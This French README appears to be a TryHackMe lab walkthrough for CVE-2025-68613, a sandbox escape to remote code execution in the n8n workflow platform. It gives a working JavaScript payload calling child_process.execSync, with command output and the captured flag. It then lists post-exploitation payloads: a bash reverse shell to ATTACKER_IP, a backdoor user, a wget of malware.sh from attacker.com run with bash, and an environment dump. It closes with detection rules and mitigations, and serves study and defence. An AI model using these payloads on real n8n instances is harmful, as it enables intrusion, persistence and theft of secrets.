
Procédure pas à pas éducative pour l'exploitation de CVE-2025-68613, une RCE critique dans l'automatisation de workflows n8n. Couvre l'injection d'expression, l'évasion du bac à sable, le développement de payload et les stratégies de détection via un laboratoire TryHackMe.
Ce référentiel documente une exploitation pratique de CVE-2025-68613 (CVSS 9.9), une vulnérabilité critique d'exécution de code à distance affectant la plateforme d'automatisation de workflows n8n (versions 0.211.0 à 1.120.3).
Cette exploitation a été réalisée éthiquement dans un environnement de laboratoire TryHackMe contrôlé à des fins éducatives uniquement.
| Champ | Valeur |
|---|---|
| ID CVE | CVE-2025-68613 |
| Score CVSS | 9.9 (Critique) |
| Publié | 19 décembre 2025 |
| Produit affecté | Plateforme d'automatisation de workflows n8n |
| Type de vulnérabilité | Injection d'expression → Évasion du sandbox → RCE |
| Vecteur d'attaque | Utilisateur authentifié (par défaut) |
| Versions corrigées | 1.120.4, 1.121.1, 1.122.0+ |
| Versions affectées | 0.211.0 - 1.120.3 |
n8n est une plateforme open-source d'automatisation de workflows qui permet aux utilisateurs de connecter visuellement des applications et des services pour automatiser des tâches. Elle propose :
{{ }} évaluées comme du JavaScriptLa vulnérabilité réside dans le système d'évaluation des expressions de workflow de n8n. Lorsque des utilisateurs authentifiés configurent des workflows, leurs entrées sont traitées comme du code JavaScript sans sandboxing adéquat.
Sandbox d'expression
↓ (évasion via 'this')
Contexte global Node.js
↓ (accès à mainModule)
Système de modules (require)
↓ (chargement de child_process)
Exécution de commandes système
{{ }} sont évaluées comme du JavaScript brut sans isolation de contexte appropriéethis permet de s'échapper des restrictions du sandboxprocess.mainModule.require() donne accès au système de modules Node.jschild_process pour exécuter des commandes système(function(){
return this.process.mainModule.require('child_process').execSync('COMMAND').toString()
})()
Explication :
this → Objet global Node.jsthis.process → Objet processus Node.jsprocess.mainModule → Module racine de l'application n8n.require('child_process') → Chargement du module d'exécution de commandes système.execSync('COMMAND') → Exécution synchrone d'une commande shell.toString() → Conversion du tampon Buffer en chaîne lisibleAccédez à l'instance n8n vulnérable et connectez-vous avec des identifiants valides.
Identifiants du laboratoire :
[email protected]Try12345!
Après la connexion, l'interface de création de workflow s'affiche. Cliquez sur "Start from scratch" pour créer un nouveau workflow.

Cliquez sur "Add first step" et recherchez "Manual Trigger". Ce nœud sert de point d'entrée pour l'exécution du workflow.

Objectif : Le nœud Manual Trigger permet une exécution manuelle du workflow via le bouton "Execute workflow" dans l'interface, ce qui est idéal pour les tests.
Ajoutez un nœud "Edit Fields" pour effectuer le mappage de champ. C'est ici que la vulnérabilité est exploitée.

Étapes de configuration :
Injectez la charge utile pour exécuter la commande id et obtenir les informations utilisateur/privileges.
Charge utile :
(function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })()
Résultat :
uid=1000(node) gid=1000(node) groups=1000(node)

Informations obtenues :
Modifiez la charge utile pour exécuter la commande ls et lister le contenu du répertoire.
Charge utile :
(function(){ return this.process.mainModule.require('child_process').execSync('ls -la').toString() })()

Sortie affichée :
flag.txtLisez le fichier flag avec la commande cat pour terminer l'exploitation.
Charge utile :
(function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })()
Flag récupéré :
THM{n8n_exposed_workflow}

Établir un accès shell interactif pour un contrôle persistant :
(function(){
return this.process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1').toString()
})()
Ajouter un nouvel utilisateur système pour un accès persistant :
(function(){
return this.process.mainModule.require('child_process').execSync('useradd -m -p $(openssl passwd -1 PASSWORD) backdoor').toString()
})()
Récupérer et exécuter du code à distance :
(function(){
return this.process.mainModule.require('child_process').execSync('wget http://attacker.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh').toString()
})()
Vérifier les privilèges sudo :
(function(){
return this.process.mainModule.require('child_process').execSync('sudo -l').toString()
})()
Extraire les variables d'environnement :
(function(){
return this.process.mainModule.require('child_process').execSync('env').toString()
})()
Configurez votre proxy pour enregistrer le corps des requêtes à des fins d'analyse :
http {
log_format detailed '$remote_addr - $remote_user [$time_local] '
'"$request" $status $body_bytes_sent '
'"$http_referer" "$http_user_agent" '
'Request-Body: "$request_body" '
'Duration: $request_time s';
access_log /var/log/nginx/detailed_access.log detailed;
}
Détection des tentatives d'exploitation via les requêtes API de workflow :
title: CVE-2025-68613 - Injection d'expression n8n RCE
logsource:
category: web_application_firewall
detection:
keywords:
- "process.mainModule.require"
- "child_process"
- "execSync"
condition: keywords
filter:
field: uri_path
value: "/rest/workflows"
method: POST
Surveiller les processus enfants suspects engendrés par n8n :
/root/.n8n/logs//var/log/auth.log, /var/log/syslogprocess.mainModulerequire('child_process')execSync ou spawnMettre à jour n8n vers les versions corrigées :
Restreindre l'accès réseau
Authentification forte
Surveillance et journalisation
Validation et assainissement des entrées
Implémentation du sandbox
Principe du moindre privilège
Revue de code et tests de sécurité
Cette documentation est fournie à des fins éducatives et de tests de sécurité autorisés uniquement. Les techniques d'exploitation décrites sont destinées à :
L'accès non autorisé aux systèmes informatiques est illégal. Obtenez toujours une autorisation écrite appropriée avant d'effectuer des tests de sécurité.
.
├── README.md # Ce fichier
├── exploitation-details.md # Guide technique approfondi
├── screenshots/
│ ├── 01-login.png
│ ├── 02-Welcome.png
│ ├── 03-Manual_Trigger.png
│ ├── 04-Workflow-setup.png
│ ├── 05-rce_id.png
│ ├── 06-Change_id_ls.png
│ └── rce_cat_flag.png
└── notes/
└── exploitation-details.md
Ce compte-rendu documente l'exploitation réussie de CVE-2025-68613 dans un environnement de laboratoire TryHackMe. La vulnérabilité démontre l'importance cruciale de l'évaluation sécurisée du code et les dangers d'une implémentation inadéquate du sandbox dans les plateformes d'automatisation.
Comprendre cette vulnérabilité aide à la fois les équipes de sécurité offensive à identifier des problèmes similaires et les équipes défensives à développer des stratégies de détection plus efficaces.
| Étape | Action | Temps |
|---|
| 1 | Accès à l'instance n8n | Secondes |
| 2 | Création/modification du workflow | < 1 minute |
| 3 | Ajout du nœud de mappage de champ | < 1 minute |
| 4 | Injection et exécution de la commande id | < 30 secondes |
| 5 | Énumération du système de fichiers avec ls | < 1 minute |
| 6 | Extraction des données avec cat | < 30 secondes |
| Total | Exploitation RCE complète | < 5 minutes |